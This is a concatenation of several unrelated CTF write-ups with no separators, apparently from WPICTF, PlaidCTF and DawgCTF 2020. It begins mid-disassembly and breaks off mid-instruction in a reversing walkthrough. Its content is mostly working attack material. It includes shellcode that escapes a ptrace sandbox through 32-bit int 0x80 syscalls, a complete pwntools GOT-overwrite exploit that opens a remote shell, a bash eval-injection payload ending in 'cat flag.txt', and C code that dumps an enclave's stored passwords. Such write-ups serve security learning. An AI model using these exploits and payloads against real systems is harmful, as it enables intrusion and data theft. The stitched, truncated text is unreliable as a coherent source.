section..text: ;-- section.LOAD0: ;-- rip:/ (fcn) entry0 53| entry0 ();| ; CALL XREF from 0x00400080 (entry0)| 0x00400080 b801000000 mov eax, 1 ; [04] -rwx section size 73 named LOAD0| 0x00400085 bf01000000 mov edi, 1| 0x0040008a beb4004000 mov esi, 0x4000b4 ; section..data ; "&\x1f\x18J;\x03B"| 0x0040008f 31c9 xor ecx, ecx| ; CODE XREF from 0x004000a1 (entry0)| .-> 0x00400091 678b140e mov edx, dword [esi + ecx]| : 0x00400095 83c231 add edx, 0x31 ; '1'| : 0x00400098 6789140e mov dword [esi + ecx], edx| : 0x0040009c ffc1 inc ecx| : 0x0040009e 83f915 cmp ecx, 0x15 ; 21| `=< 0x004000a1 75ee jne 0x400091| 0x004000a3 ba15000000 mov edx, 0x15 ; 21| 0x004000a8 0f05 syscall| 0x004000aa b83c000000 mov eax, 0x3c ; '<' ; 60| 0x004000af 31ff xor edi, edi| 0x004000b1 0f05 syscall ;-- section_end..text:\ 0x004000b3 ~ 0026 add byte [rsi], ah ;-- section..data:| ; DATA XREF from 0x0040008a (entry0)| 0x004000b4 26 invalid ; [02] -rw- section size 21 named .data[0x00400080]>``` Running that in my python shell gave me ```py>>> a = '261f184a3b034200470a0042032e0432414431044c'>>> a = binascii.unhexlify(a)>>> print(''.join(chr(i + 49) for i in a))WPI{l4s1x;1s4_5crub5}>>> ``` and that was the flag.
## Sandybox Looking at the binary reveals that the sandybox is a `ptrace` based sandboxwhich filters syscalls of the sandboxed program. Forking happens in the `main` method: ```cpid_t pid = fork();if((pid & 0x80000000) != 0) { const char* error = strerror(errno); dprintf(1, "fork fail %s\n", error); return 1;}if(!pid) { prctl(1, 9); if(getppid() != 1) { if(ptrace(PTRACE_TRACEME, 0, 0, 0)) { const char* error = strerror(errno); dprintf(1, "child traceme %s\n", error); _exit(1); } pid_t self = getpid(); kill(self, SIGSTOP); execute(); _exit(0); } dprintf(1, "child is orphaned\n"); _exit(1);}``` `execute()` allocates a page of memory with RWX permissions, reads 10 bytes ofprogram code into it and calls it as a function afterwards: ```cint execute(){ char *shellcode; char *p; char *end; syscall(SYS_alarm, 20); shellcode = (char *)mmap(NULL, 10, PROT_READ|PROT_WRITE|PROT_EXEC, \ MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); p = shellcode; dprintf(1, "> "); do { end = p; if(read(0, p, 1) != 1) _exit(0); p++; } while(p != shellcode + 10); ((void (*)(int, char *))shellcode)(0, end); return 0;}``` There is something interesting though: the 10 bytes of memory are turned into a4096 bytes large page, and the arguments passed to the function areexactly the arguments necessary for a `read` syscall. The first part of the shellcode therefore reads more shellcode into the rest of the page: ```0: ff c8 dec eax ; SYS_read2: 48 c1 e2 08 shl rdx,0x8 ; 256 bytes6: 0f 05 syscall ; read8: 90 nop ; pad to 10 bytes9: 90 nop``` When the read loop terminates, `rax` is 1, but `SYS_read` is 0, therefore wedecrement it. `rdx` still has the value 1, therefore shifting it left by 8means we want to read 256 bytes of data. We have to pad the shellcode with nopssuch that it is 10 bytes long. As already mentioned, `rsi` already points tothe byte after the shellcode and `rdi` has the value 0, which means `stdin`. Combining this into a shell command, we can now run arbitrary shellcode: ```sh(printf "\xff\xc8\x48\xc1\xe2\x08\x0f\x05\x90\x90"; cat shellcode.bin) | nc sandybox.pwni.ng 1337``` ## The Syscall Filter Since this challenge is supposed to be a sandbox, there is a syscall filter implemented, which looks like this: in `main`: ```cptrace(PTRACE_SYSCALL, pid);ptrace(PTRACE_GETREGS, pid, 0, ®s;;if(is_invalid_syscall(pid, &regs)) { // deny, replace by write(1, "get clapped sonn\n", 17)} else { // allow}ptrace(PTRACE_SYSCALL, pid);``` The `is_invalid_syscall` function looks like this: ```cbool is_invalid_syscall(pid_t pid, struct user_regs_struct *regs){ unsigned long id; unsigned long name; long v1; long v2; char fname[17]; switch(regs->orig_rax) { case SYS_read: case SYS_write: case SYS_close: case SYS_fstat: case SYS_exit: case SYS_exit_group: case SYS_getpid: case SYS_lseek: return 0; case SYS_alarm: return regs->rdi - 1 > 19; case SYS_mmap: case SYS_mprotect: case SYS_munmap: return regs->rsi > 0x1000; case SYS_open: if(!regs->rsi) { name = regs->rdi; memset(fname, 0, sizeof(fname)); v1 = ptrace(PTRACE_PEEKDATA, pid, name, 0); v2 = ptrace(PTRACE_PEEKDATA, pid, regs->rdi + 8, 0); if(v1 != -1 && v2 != -1) { *(long *)fname = v1; *(long *)&fname[8] = v2; if(strlen(fname) <= 15 && !strstr(fname, "flag") && !strstr(fname, "proc")) return strstr(fname, "sys") != 0; } } return 1; default: return 1; }}``` This filter obviously allows `read` and `write` syscalls, but it does not allowopening the `flag` file. ## Syscalls on x86_64 Syscalls on Linux/AMD64 are weird. There are multiple different ways how toinvoke syscalls, and most people only think about one of them. The most obviousone is the `syscall` instruction. But it is also possible to use the old `int0x80` instruction to invoke 32bit syscalls. Those 32bit syscalls are reportedas syscall in the tracer, but if the tracer only checks registers but doesn'tcheck the current instruction it will be confused. Most importantly, the 32bitsyscall numbers and the 64bit syscall numbers are different. What looks like a`lseek` syscall in 64bit mode is in fact `open` in 32bit mode. To bypass the`open` check, all we have to do is `open` our `flag` file using a 32bit `open`syscall. Of course since it is a 32bit syscall, it only accepts memory below4GB, but since we can call `mmap`, we can just map a page with `MAP_32BIT`. ***Note***: even `strace` is confused by this. It can easily be checked by runninga program like this: ``` .globl _start .text_start: mov $1, %eax mov $42, %ebx int $0x80``` Running this program under `strace` shows a `write` syscall (`SYS_write` is 1in 64bit mode) instead of `exit`: ```% strace ./sys32execve("./sys32", ["./sys32"], 0x7ffcb8da1bf0 /* 41 vars */) = 0write(0, NULL, 0) = ?+++ exited with 42 +++``` ## Shellcode Part 2The shellcode (it's the code for the `shellcode.bin` for our previous command)for reading the flag can be implemented like this: ```0: b8 09 00 00 00 mov eax,0x9 ; SYS_mmap5: 31 ff xor edi,edi ; NULL7: be 00 10 00 00 mov esi,0x1000 ; sz=0x1000c: ba 03 00 00 00 mov edx,0x3 ; prot=RWX11: 49 c7 c2 62 00 00 00 mov r10,0x62 ; PRIVATE|ANON|32BIT18: 4d 31 c0 xor r8,r8 ; fd=01b: 4d 31 c9 xor r9,r9 ; off=01e: 0f 05 syscall ; mmap 20: 41 89 c4 mov r12d,eax ; save ptr in r1223: 48 c7 c2 66 6c 61 67 mov rdx,0x67616c662a: 48 89 10 mov QWORD PTR [rax],rdx ; write "flag" 2d: 89 c3 mov ebx,eax ; "flag"2f: 31 c9 xor ecx,ecx ; flags=031: b8 05 00 00 00 mov eax,0x5 ; SYS_open36: cd 80 int 0x80 ; open 38: 31 ff xor edi,edi3a: 97 xchg edi,eax ; edi=fd3b: 4c 89 e6 mov rsi,r12 ; rsi=memory3e: ba 00 01 00 00 mov edx,0x100 ; 256 bytes43: 0f 05 syscall ; read 45: 4c 89 e6 mov rsi,r12 ; rsi=memory48: 48 c7 c2 00 01 00 00 mov rdx,0x100 ; 256 bytes4f: bf 01 00 00 00 mov edi,0x1 ; stdout54: b8 01 00 00 00 mov eax,0x1 ; SYS_write59: 0f 05 syscall ; write 5b: b8 3c 00 00 00 mov eax,0x3c ; SYS_exit60: 0f 05 syscall ; exit``` Running this shellcode on the server gives us the flag: ```o hai> PCTF{bonus_round:_did_you_spot_the_other_2_solutions?}so long, sucker. 0x100```
# string.equals(integer) Writeup ### Prompt > Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in the order mentioned in the file hashes.txt into integers? > The answer for this is the multiplication of output of both the functions for the concatenated string. (Wrap the number around flag{}) File: [hash.zip](hash.zip) ### Solution The problem, after a couple read-throughs and looking at the files provided, makes clear that to generate [hashes.txt](hash/hashes.txt), the creator ran the provided [chall.py](hash/chall.py). This program includes two hash functions with different moduluses, as well as some driver code. The best approach (we could come up with) to crack this (the same way as one would approach cracking a real hash) is to use the hash function to generate a dictionary of results based on all (or many -- in this case all) inputs as possible, and then use the dictionary to look up the hash and recieve (hopefully) the source. We implemented that in [dict.py](dict.py), and after several iterations, we were able to derive a hash dictionary. This dictionary contains all the hashes (for both algorithms) for every unique set of 1 to 100 characters from input files 0-19 (I concatenate them together, and while it is less efficient, it has more values in the dict, in case the problem needs those). Then, we swap the keys for values and create a new dictionary. This one, we use to look up each hash of the 10000 in [hashes.txt](hash/hashes.txt), and we get a list of "words" (not phonetic words, character sequences). As the problem instructs, we concatenate them, creating a long string. We get the `func1()` and `func2()` hashes of that string, and multiply them together to get: ```flag{82806233047447860}``` ~ Lyell Read, Phillip Mestas, Lance Roy
# dorsia4by mito ## 5 solves, 400 pts * We can overwrite GOT by entering a negative number for i, since it’s partial RELRO.* We considered rewriting GOT of printf to One-gadget RCE because scanf is necessary for input.* By directly rewriting printf's GOT using gdb, We found that out of the three One-gadget RCE (0x4f2c5, 0x4f322, 0x10a38c), only 0x4f322 was effective. * First, we searched for ROP gadget that changed 1 byte from the address of printf and ran it, but all of them had Segmentation fault.* Next, by changing the GOT of printf by brute force in 1-byte, we were able to identify multiple bytes where segmentation fault did not occur. Using the python code shown below. ```from pwn import * context.log_level = 'debug'BINARY = "./nanowrite" for i in range(0x0, 0x100): s = process(BINARY) s.recvuntil("\n") try: s.sendline("-103 " + hex(i)[2:]) s.interactive() except: s.close()``` By trial and error for about 1 hour, we was lucky enough to find the procedure for setting the lowest byte to 0x22.```s.sendline("-103 " + "91")s.sendline("-102 " + "b0")s.sendline("-103 " + "38")s.sendline("-104 " + "22") ← 0 byte``` After another 30 minutes of trial and error, we was able to find a procedure to change to 0xa33322 of One-gadget RCE(0x7ffff7a33322 with ASLR disabled).```s.sendline("-103 " + "91")s.sendline("-102 " + "b0")s.sendline("-103 " + "38")s.sendline("-104 " + "22") ← 0 bytes.sendline("-102 " + "b7")s.sendline("-103 " + "33") ← 1 bytes.sendline("-102 " + "a3") ← 2 byte``` The final exploit code is below. ```from pwn import * context(os='linux', arch='amd64')#context.log_level = 'debug' BINARY = "./nanowrite"elf = ELF(BINARY) if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "dorsia4.wpictf.xyz" PORT = 31337 s = remote(HOST, PORT)else: s = process(BINARY) r = s.recvuntil(" ")[:-1]libc_leak = int(r, 16)libc_base = libc_leak - 0x10a38cgadget_offset = [0x4f2c5, 0x4f322, 0x10a38c]one_gadget = libc_base + gadget_offset[1] print "libc_leak =", hex(libc_leak)print "libc_base =", hex(libc_base)print "one_gadget =", hex(one_gadget) s.sendline("-103 " + hex(((libc_base>>8)&0xff)-0x40+0x91)[2:])s.sendline("-102 " + hex(((libc_base>>16)&0xff)-0x9e+0xb0)[2:])s.sendline("-103 " + hex(((libc_base>>8)&0xff)-0x40+0x38)[2:])s.sendline("-104 " + "22")s.sendline("-102 " + hex(((libc_base>>16)&0xff)-0x9e+0xb7)[2:])s.sendline("-103 " + hex(((libc_base>>8)&0xff)-0x40+0x33)[2:])s.sendline("-102 " + hex(((libc_base>>16)&0xff)-0x9e+0xa3)[2:]) s.interactive() '''$ python exploit.py r[+] Opening connection to dorsia4.wpictf.xyz on port 31337: Donelibc_leak = 0x7824c97d438clibc_base = 0x7824c96ca000one_gadget = 0x7824c9719322[*] Switching to interactive modegiv i b$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ lsflag.txtnanowriterun_problem.sh$ cat flag.txtWPI{D0_you_like_Hu3y_Lew1s_&_the_News?}'''```
After looking carefully at the code, in parser.sh: ```parseString() { local input=$1 local i=$2 local res=$3 declare -Ag $res makeVar eval ${res}'[_type]=$var_name' makeKind "STRING" $var_name getString "$input" "$i" "$res" local task_i local result_str="${!res}" for (( task_i=0; task_i < ${#result_str}; task_i++ )); do if [[ "${result_str:$task_i:5}" = "task " ]]; then local suffix="${result_str:$((task_i+5)):$((${#result_str}-task_i-5))}" if [[ "$((suffix > 0))" = "1" && "$((suffix <= 8))" = "1" ]]; then local color=$var_name normalizeNumber "$suffix" $color "var_" eval ${res}'[_color]=${color}' fi fi done}```in particular this line: ```if [[ "$((suffix > 0))" = "1" && "$((suffix <= 8))" = "1" ]]; then``` after fuzzying around, we noticed that allows arithmetic assignment, by attempting to use this line: ```{"task 1=12":"as"}``` Then we used this vulnerability to rewrite `_var_name_i` in such a way that some new variables used in evals would be somehow "double referenced". We ended up in : ```["task _var_name_i=10","var_11","task _var_name_i=10",{"task _var_name_i=13":"=SHELL","var_10":"b"},"concat",{"ta":["ta","aT","task _var_name_i=10",{"task _var_name_i=13":"};cat flag.txt;{","var_12":"b"},"l00p"]}]``` Which, after a more accurate analysis by @zommiommy, could also be written as: ```{"task _var_name_i=10":"};cat flag.txt;#``` Curiously, changing the value of ` _var_name_i` could also cause the program to loop forever: ```{"going":["down","task _var_name_i=10",{"the":"rabbit"},"hole"]}```
> People seem to have some doohickey that lets them login with a code...http://freewifi.ctf.umbccd.io/ Again, we have the same PCAP. There are 4 instances, where a POST request is sent to `/staff.html` with a `passcode` using the following values: 5004f47a 01c7aeb1 097b3acf 54f03ae2 Unfortunately, just replaying those values causes an error message, even if the `WifiKey nonce` cookie is set like in the capture. One notices, that in the browser an additional cookie called `WifiKey alg` (with a value of `SHA1`) is set, which is not present in the capture. Analysing the package from the capture which used `WifiKey nonce=MjAyMC0wNC0wOCAxNzowMw==` and the passcode `097b3acf`, we can decode the nonce and findo out how the passcode is created: ```bashecho "MjAyMC0wNC0wOCAxNzowMw=="|base64 -d2020-04-08 17:03echo -n "MjAyMC0wNC0wOCAxNzowMw=="|sha1sum097b3acf84e6ed9e66f285cf3750b4ff89da48dc -``` So all we gotta do is open the webpage, grep the nonce we retrieve, hash it with SHA-1 and send the first 8 characters as the passcode. As long as we do this within one minute, we get the flag: Flag: **DawgCTF{k3y_b@s3d_l0g1n!}**
# Secure enclave challenge @WPICTFLooking at the decompiled secure_enclave.ko, we find ```c// read back to structiVar1 = enclave_read(auStack552,param_3,param_3,0); ... ulong check_pass(void *param_1)​{ int iVar1; iVar1 = memcmp(pass,param_1,0x20); return (ulong)(iVar1 == 0);} undefined8 enclave_read(undefined4 *param_1,undefined8 param_2)​{ int iVar1; long lVar2; undefined4 *puVar3; undefined4 *puVar4; byte bVar5; bVar5 = 0; lVar2 = _copy_from_user(param_1,param_2,0x220); if ((lVar2 == 0) && (iVar1 = check_pass(param_1 + 0x80), iVar1 != 0)) { lVar2 = 0x80; puVar3 = (undefined4 *)data; puVar4 = param_1; while (lVar2 != 0) { lVar2 = lVar2 + -1; *puVar4 = *puVar3; puVar3 = puVar3 + (ulong)bVar5 * 0x3ffffffffffffffe + 1; puVar4 = puVar4 + (ulong)bVar5 * 0x3ffffffffffffffe + 1; } lVar2 = _copy_to_user(param_2,param_1,0x220); if (lVar2 == 0) { return 0; } } return 0xfffffff3;``` Looking around in the file system, we find a FIFO queue called keydist, which emitts a 32-char string repeatedly (which I guess is the flaw here, it should only be passed once to the keydist process). ```bashlocalhost:/tmp$ cat keydist.fifo | hexdump 0000000 d9da 5f59 754d bddd a319 9860 ede0 f5000000010 2562 9ad0 1a71 f3b8 1255 9d6d 9cc7 53030000020 d9da 5f59 754d bddd a319 9860 ede0 f5000000030 2562 9ad0 1a71 f3b8 1255 9d6d 9cc7 5303``` Here is the include file associated with secure_enclave: ```c#ifndef _SECURE_ENCLAVE_H#define _SECURE_ENCLAVE_H #include <sys/ioctl.h> #define ENCLAVE_SIZE 512#define PASS_SIZE 32 typedef struct{ char data[ENCLAVE_SIZE]; char pass[PASS_SIZE];} secure_enclave_ctx; #define SECURE_ENCLAVE_READ _IOR('s', 1, secure_enclave_ctx*)#define SECURE_ENCLAVE_WRITE _IOW('s', 2, secure_enclave_ctx*)#define SECURE_ENCLAVE_CLEAR _IOR('s', 3, secure_enclave_ctx*) #endif``` Exploit code ```c#include <fcntl.h>#include <unistd.h>#include <string.h>#include <stdio.h> #include <sys/ioctl.h>#include <sys/stat.h>#include <sys/secure_enclave.h> #define ENCLAVE_READ 0x80087301​void dump(char *buf, size_t len){​ for(int i = 0; i < len; i++){ printf("%02x ", buf[i] & 0xff); if ((i+1) % 0x20 == 0) printf("\n"); }​ printf("\n");}​int main(){​ secure_enclave_ctx c; char pass[sizeof c.pass]; char data[sizeof c.data]; fd = open("/tmp/keydist.fifo", O_RDONLY); read(fd, &pass, 32); close(fd);​ memset(&c, 0, sizeof c); memcpy (&(c.pass), &pass, sizeof pass); memcpy (&(c.data), &data, sizeof data); if ((fd = open("/dev/secure_enclave", O_RDWR)) < 0) { perror("open"); return -1; } ioctl(fd, ENCLAVE_READ, &c)​ printf("key: \n"); dump(c.pass, sizeof c.pass);​ printf("retval: 0x%08x\n\n", r);​ printf("data: \n"); dump(c.data, sizeof c.data);​ return 0;}``` Running the exploit: ```bashlocalhost:~$ ./a.out key: da d9 59 5f 4d 75 dd bd 19 a3 60 98 e0 ed 00 f5 62 25 d0 9a 71 1a b8 f3 55 12 6d 9d c7 9c 03 53 data: 50 72 69 76 61 74 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 64 6f 6e 27 74 20 72 65 61 64 2e 0a 4b 65 79 20 6c 69 73 74 0a 32 34 33 38 32 39 34 37 33 32 39 34 32 39 38 34 33 32 39 5f 61 6a 73 64 68 66 6f 69 77 65 68 6f 69 62 65 6f 67 65 6e 76 78 7a 75 65 77 69 72 6f 77 71 72 68 77 65 72 68 20 2d 20 75 6e 75 73 65 64 0a 69 27 6d 61 62 65 74 74 65 72 68 61 63 6b 65 72 74 68 61 6e 72 65 6d 79 20 2d 20 63 74 66 20 70 61 73 73 77 6f 72 64 0a 70 6c 65 61 73 65 6d 61 6b 65 63 68 61 6c 6c 65 6e 67 65 73 66 6f 72 77 70 69 63 74 66 20 2d 20 63 74 66 20 70 61 73 73 77 6f 72 64 20 32 0a 64 74 65 72 6d 69 73 63 61 6e 63 65 6c 6c 65 64 20 2d 20 6a 75 73 74 69 6e 27 73 20 70 61 73 73 77 6f 72 64 0a 6c 69 6e 75 78 69 73 74 68 65 62 65 73 74 6f 73 5f 61 6c 6c 74 68 65 77 69 6e 64 6f 77 73 6c 6f 76 65 72 73 61 72 65 6a 75 73 74 62 61 64 61 74 70 72 6f 67 72 61 6d 6d 69 6e 67 20 2d 20 73 75 70 65 72 20 73 65 63 72 65 74 20 66 69 6c 65 20 70 61 73 73 77 6f 72 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da d9 59 5f 4d 75 dd bd 19 a3 60 98 e0 ed 00 f5 62 25 d0 9a 71 1a b8 f3 55 12 6d 9d c7 9c 03 53 6b 65 79 64 69 73 74 0a 09 20 2d 72 20 20 20 20 20 20 20 20 20 20 53 74 61 72 74 20 69 6e 20 72 65 61 64 20 6d 6f 64 65 0a 09 20 2d 77 20 20 20 20 20 20 20 20 20 20 53 74 61 72 74 20 69 6e 20 77 72 69 74 65 20 6d 6f 64 65 0a 00 00 00 00 00 2f 74 6d 70 2f 6b 65 79 64 69 73 74 2e 66 69 66 6f 00 00 00 01 1b 03 3b 40 00 00 00 07 00 00 00 4c ed ff ff 5c 00 00 00 5c ee ff ff 84 00 00 00 Private data, please don't read.Key list2438294732942984329_ajsdhfoiwehoibeogenvxzuewirowqrhwerh - unusedi'mabetterhackerthanremy - ctf passwordpleasemakechallengesforwpictf - ctf password 2dtermiscancelled - justin's passwordlinuxisthebestos_allthewindowsloversarejustbadatprogramming - super secret file password``` What is the encryption used? ```bashlocalhost:~$ cat flag.enc|hd00000000 53 61 6c 74 65 64 5f 5f 8b d2 02 ff 25 ca d8 9a |Salted__....%...|00000010 c7 f4 bb 0d 8f 78 b4 b5 70 c7 ea 13 c9 fb 54 e4 |.....x..p.....T.|00000020 fe e3 ea 9c 55 1b 66 00 93 f6 a4 99 2c 17 7a 6a |....U.f.....,.zj|00000030 0f b9 d8 f9 1a a0 08 6f f7 cd 29 54 cc 98 db 29 |.......o..)T...)|00000040 53 f9 c9 fa 7c ce 5f e5 4e f7 9a 87 cd 38 fa c6 |S...|._.N....8..|00000050``` Using the password linuxisthebestos_allthewindowsloversarejustbadatprogramming to decrypt the file using OpenSSL: ```bashlocalhost:~$ openssl aes-256-cbc -d -in flag.enc -out blah.txtenter aes-256-cbc decryption password:*** WARNING : deprecated key derivation used.Using -iter or -pbkdf2 would be better.localhost:~$ cat blah.txt Well that was fun.WPI{@curl3$$_1$_@n_3pic_H@XOR}```
[Original writeup](https://bigpick.github.io/TodayILearned/articles/2020-04/wpictf_writeups#autograder) Go to the given website, and see that it is an online c-code compiler. Run the given sample code and see that it actually tries to compile code. Take advantage of the pre-processor by trying to include a common flag file name, "flag.txt": ```#include </home/ctf/flag.txt>``` And then click the compile/submit button. It spits out the file contents as it's not valid c code, and we get the flag in the process. Note, the < and > are required for this specifc implementation.
# PlaidCTF 2020 : reee ### Reversing (150 pts) > __Story__>> Tired from all of the craziness in the Inner Sanctum, you decide to venture out to the beach to relax. You doze off in the sand only to be awoken by the loud “reee” of an osprey. A shell falls out of its talons and lands right where your head was a moment ago. No rest for the weary, huh? It looks a little funny, so you pick it up and realize that it’s backwards. I guess you’ll have to reverse it.> > __Problem details__>> Hint: The flag format is `pctf{$FLAG}`. This constraint should resolve any ambiguities in solutions. ## Act 1 — Reverse engineeringWe are given a x64 stripped ELF:```reee: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3ccec76609cd013bea7ee34dffc8441bfa1d7181, stripped``` Opening it with IDA we can see that its code is quite simple.```Cunsigned char[551] = { /* a few numbers here */ };int main(int argc, char** argv, char** envp){ int result; // eax int j; // [rsp+18h] [rbp-28h] int i; // [rsp+1Ch] [rbp-24h] if(argc <= 1) puts("need a flag!"); for(i = 0; i <= 31336; ++i) { for(j = 0; j <= 551; ++j) code[j] = decrypt(code[j]); } if(((long long (*)(void))code)()) result = puts("Correct!"); else result = puts("Wrong!"); return result;} unsigned char bss1, bss2;unsigned char data1[256] = { /* some more data */ }; // Size guessed by IDAunsigned char decrypt(unsigned char c){ bss2 += data1[++bss1]; data1[bss1] ^= data1[bss2]; data1[bss2] ^= data1[bss1]; data1[bss1] ^= data1[bss2]; return data1[(unsigned char)(data1[bss1] + data1[bss2])] + c;}```It looks like it _decrypts_ some data from `0x400526` and then executes it. I honestly couldn't care less about how this _decipher_ works, I need flaaaaggggssss! This code returns a value which, in case it is `0`, `main()` will print a `"Wrong!"` string, otherwise a `"Correct!"` string. Let's see... the call is made in```.text:00000000004006DB call near ptr code```so```gef➤ b*0x4006dbBreakpoint 1 at 0x4006db```and then```gef➤ r flagplzzzzzzzzzzStarting program: /home/arget/reee flagplzzzzzzzzzz Breakpoint 1, 0x00000000004006db in ?? ()gef➤ si0x00000000004006e5 in ?? ()gef➤ x/11i $pc=> 0x4006e5: push rbp 0x4006e6: mov rbp,rsp 0x4006e9: call 0x400702 0x4006ee: mov cl,al 0x4006f0: mov eax,0xae5fe432 0x4006f5: add eax,0x51a01bce 0x4006fa: inc eax 0x4006fc: jae 0x400706 # Ignore 0x4006fe: mov al,cl 0x400700: leave 0x400701: ret ```So here we have a C function, which basically calls another function, makes a nonsense operation, and returns the result of the function previously called. Nonsense operations like that are going to be something usual along all this code, none of those jumps is ever taken because of the flags left by the mentioned nonsense operations, they are there just to tease. [I usually prefer the static analysis, but in this case it is going to be so much easier and quicker the dynamic analysis]. Now let's step into that function```gef➤ x/10i $pc=> 0x400702: push rbx 0x400703: push rdi 0x400704: push rbp 0x400705: mov rbp,rsp 0x400708: mov rdx,rax 0x40070b: dec eax 0x40070d: jmp 0x40070e 0x40070f: ror BYTE PTR [rax-0x75],0xfa 0x400713: xor al,al 0x400715: xor ecx,ecxgef➤ ```We can see another standard prologue, copies the content of `rax` to `rdx`, decrements `rax` and jumps somewhere, and the last three instructions doesn't look like they are going to be executed ever... um btw,`rax` contains `argv[1]`. And, just so you know, from now on I'm going to snip the instructions after a `jmp`.```gef➤ x/s $rax0x7fffffffe4b6: "flagplzzzzzzzzzz"gef➤ si 70x000000000040070e in ?? ()gef➤ x/10i $rip=> 0x40070e: inc eax 0x400710: mov rdi,rdx 0x400713: xor al,al 0x400715: xor ecx,ecx 0x400717: dec rcx 0x40071a: repnz scas al,BYTE PTR es:[rdi] 0x40071c: not ecx 0x40071e: dec ecx 0x400720: mov eax,0x92185987 0x400725: xor eax,0x32963a85gef➤ 0x40072a: jns 0x4006b7 # Ignore 0x40072c: mov eax,0xc3bc42d9 0x400731: xor eax,0x1ed2c907 0x400736: jns 0x400742 # Ignore 0x400738: push 0x50 0x40073a: pop r9 0x40073c: xor r8d,r8d 0x40073f: cmp r8d,0x539 0x400746: jl 0x400763 0x400748: jmp 0x400774```Ok, here happens something. First, the `dec eax` performed earlier is undone (this is also very usual in this challenge, `dec; jmp; inc`). The next seven instructions correspond to an optimized call to `strlen(argv[1])` —if you need further explaination [here you go](https://stackoverflow.com/questions/26783797/repnz-scas-assembly-instruction-specifics)—, the result is hold in `ecx`. Then we have another nonsense set of instructions (the `jns` is never going to happen because that `xor` sets `SF=1`), after this the program moves with `push;pop` the value `0x50` to the register `r9` and set to zero the lower dword of `r8`. Afterwards we have an `if`, or, more likely (because of the previous `xor`), a `for(r8d = 0; r8d < 1337; ++r8d)`. The `jl` would jump to the body of the alleged `for`. gef➤ si 16+19 0x0000000000400763 in ?? () gef➤ x/10i $pc => 0x400763: mov eax,0xe72b5c52 0x400768: add eax,0x18d4a3ae 0x40076d: jne 0x400747 # Ignore 0x40076f: xor r11d,r11d 0x400772: jmp 0x4007acJust ignore the `mov;add;jne`. Now it makes zero the lower dword of the `r11` register. Another `for` is incoming? This xor must mean that `r11` is another counter... gef➤ si 5 0x00000000004007ac in ?? () gef➤ x/10i $pc => 0x4007ac: dec eax 0x4007ae: jmp 0x4007af gef➤ si 2 0x00000000004007af in ?? () gef➤ x/10i $pc => 0x4007af: inc eax 0x4007b1: cmp r11d,ecx 0x4007b4: jl 0x4007b8 0x4007b6: jmp 0x40074aThere! We have another (presumably) `for` loop, we only have to find the two `jmp`'s that jump backwards to make both suspected loops. In this case we would have a `for(r11d = 0; r11d < arglen; ++r11d)` (remember we have in `ecx` the length of our argument). gef➤ si 3 0x00000000004007b8 in ?? () gef➤ x/10i $pc => 0x4007b8: mov eax,0x2b71234a 0x4007bd: add eax,0xd48edcb6 0x4007c2: inc eax 0x4007c4: jae 0x400774 0x4007c6: movsxd r10,r11d 0x4007c9: mov eax,0xef8ac85b 0x4007ce: xor eax,0xe71ae312 0x4007d3: js 0x4007ff 0x4007d5: mov rbx,rdx 0x4007d8: add rbx,r10 gef➤ 0x4007db: mov eax,0x46d3a79d 0x4007e0: add eax,0xb92c5863 0x4007e5: jne 0x4007ee 0x4007e7: movsxd r10,r11d 0x4007ea: mov eax,0xf45102a7 0x4007ef: xor eax,0xae9accbc 0x4007f4: js 0x40085f 0x4007f6: mov rax,rdx 0x4007f9: add rax,r10 0x4007fc: mov al,BYTE PTR [rax] gef➤ 0x4007fe: xor al,r9b 0x400801: mov BYTE PTR [rbx],al 0x400803: movsxd r10,r11d 0x400806: mov rax,rdx 0x400809: add rax,r10 0x40080c: mov al,BYTE PTR [rax] 0x40080e: xor r9b,al 0x400811: mov eax,0x91ecf78 0x400816: add eax,0xf6e13088 0x40081b: inc eax gef➤ 0x40081d: jae 0x4007be 0x40081f: add r11d,0x1 0x400823: mov eax,0x15690edd 0x400828: xor eax,0xd68c1903 0x40082d: jns 0x400888 0x40082f: jmp 0x4007acI will now comment the code ignoring the (not so) teasing instructions. The final `jmp` jumps to the `dec eax` we have seen in the previous to the last snippet of asm, completing that way the loop we were looking for.``` 0x4007c6: movsxd r10,r11d 0x4007d5: mov rbx,rdx 0x4007d8: add rbx,r10````rbx = &argv[1][r11d]`, where `r11d` is our counter (did you remember that `rdx` had `argv[1]`?).``` 0x4007e7: movsxd r10,r11d 0x4007f6: mov rax,rdx 0x4007f9: add rax,r10 0x4007fc: mov al,BYTE PTR [rax]```Almost same procedure, but this time the pointer gets dereferenced, performing `al = argv[1][r11d]`.``` 0x4007fe: xor al,r9b 0x400801: mov BYTE PTR [rbx],al```Thereupon, xor that value with `r9` (which cointained `0x50`) and save it back to `&argv[1][r11d]```` 0x400803: movsxd r10,r11d 0x400806: mov rax,rdx 0x400809: add rax,r10 0x40080c: mov al,BYTE PTR [rax] 0x40080e: xor r9b,al````r9b ^= argv[1][r11d]`, now `r9` has the original value (before the xor) of `argv[1][r11d]`.``` 0x40081f: add r11d,0x1 0x40082f: jmp 0x4007ac```Increment the counter and loop back. Now, how is the path followed when the program finishes this loop? We are here again, but now we will follow the other way.```gef➤ x/2i 0x4007ac 0x4007ac: dec eax 0x4007ae: jmp 0x4007afgef➤ x/4i 0x4007af 0x4007af: inc eax 0x4007b1: cmp r11d,ecx 0x4007b4: jl 0x4007b8 0x4007b6: jmp 0x40074a```If the counter has reached the length of our string the `jl` doesn't jump and the `jmp 0x40074a` is taken instead.```gef➤ tb *0x4007b6Temporary breakpoint 3 at 0x4007b6gef➤ cContinuing. Temporary breakpoint 3, 0x00000000004007b6 in ?? ()gef➤ i r ecx r11decx 0x10 0x10r11d 0x10 0x10gef➤ x/i $pc=> 0x4007b6: jmp 0x40074agef➤ si0x000000000040074a in ?? ()gef➤ x/10i $pc=> 0x40074a: dec eax 0x40074c: jmp 0x40074dgef➤ si 20x000000000040074d in ?? ()gef➤ x/10i $pc=> 0x40074d: inc eax 0x40074f: add r8d,0x1 0x400753: mov eax,0x669ec28e 0x400758: add eax,0x99613d72 0x40075d: inc eax 0x40075f: jae 0x400724 # Ignore 0x400761: jmp 